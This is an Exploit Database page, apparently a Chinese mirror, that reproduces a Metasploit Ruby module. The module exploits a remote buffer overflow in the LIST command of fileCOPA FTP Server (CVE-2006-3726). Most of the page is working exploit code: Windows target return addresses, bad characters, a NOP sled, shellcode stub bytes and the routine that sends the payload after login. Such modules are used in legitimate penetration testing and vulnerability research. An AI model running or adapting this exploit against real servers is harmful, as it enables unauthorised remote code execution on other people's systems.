FileCOPA FTP Server (Pre 18 Jul Version) – ‘LIST’ Remote Buffer Overflow (Metasploit)

• Exploit Database
• 11 阅读

• 作者： Metasploit
  日期： 2010-04-30
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/16733/

• ##
  # $Id: filecopa_list_overflow.rb 9179 2010-04-30 08:40:19Z jduck $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = AverageRanking
  
  	include Msf::Exploit::Remote::Ftp
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'FileCopa FTP Server pre 18 Jul Version',
  			'Description'=> %q{
  					This module exploits the buffer overflow found in the LIST command
  				in fileCOPA FTP server pre 18 Jul 2006 version discovered by www.appsec.ch
  			},
  			'Author' => [ 'Jacopo Cervini' ],
  			'License'=> MSF_LICENSE,
  			'Version'=> '$Revision: 9179 $',
  			'References' =>
  				[
  					[ 'CVE', '2006-3726' ],
  					[ 'OSVDB', '27389' ],
  					[ 'BID', '19065' ],
  				],
  			'Privileged' => true,
  			'Payload'=>
  				{
  					'Space'=> 400,
  					'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
  					'StackAdjustment' => -3500,
  				},
  			'Platform' => 'win',
  
  			'Targets'=>
  				[
  					[ 'Windows 2k Server SP4 English', { 'Ret' => 0x7c2e7993, 'Nops' => 160 } ], # jmp esp
  					[ 'Windows XP Pro SP2 Italian',{ 'Ret' => 0x77f62740, 'Nops' => 240 } ]# jmp esp
  				],
  			'DisclosureDate' => 'Jul 19 2006',
  			'DefaultTarget' => 0))
  	end
  
  
  	def exploit
  		connect_login
  
  		print_status("Trying target #{target.name}...")
  
  		sploit ="A "
  		sploit << make_nops(target['Nops'])
  		sploit << [target.ret].pack('V') + make_nops(4) + "\x66\x81\xc1\xa0\x01\x51\xc3" + make_nops(189) + payload.encoded
  
  		send_cmd( ['LIST', sploit] , false)
  
  		handler
  		disconnect
  	end
  
  end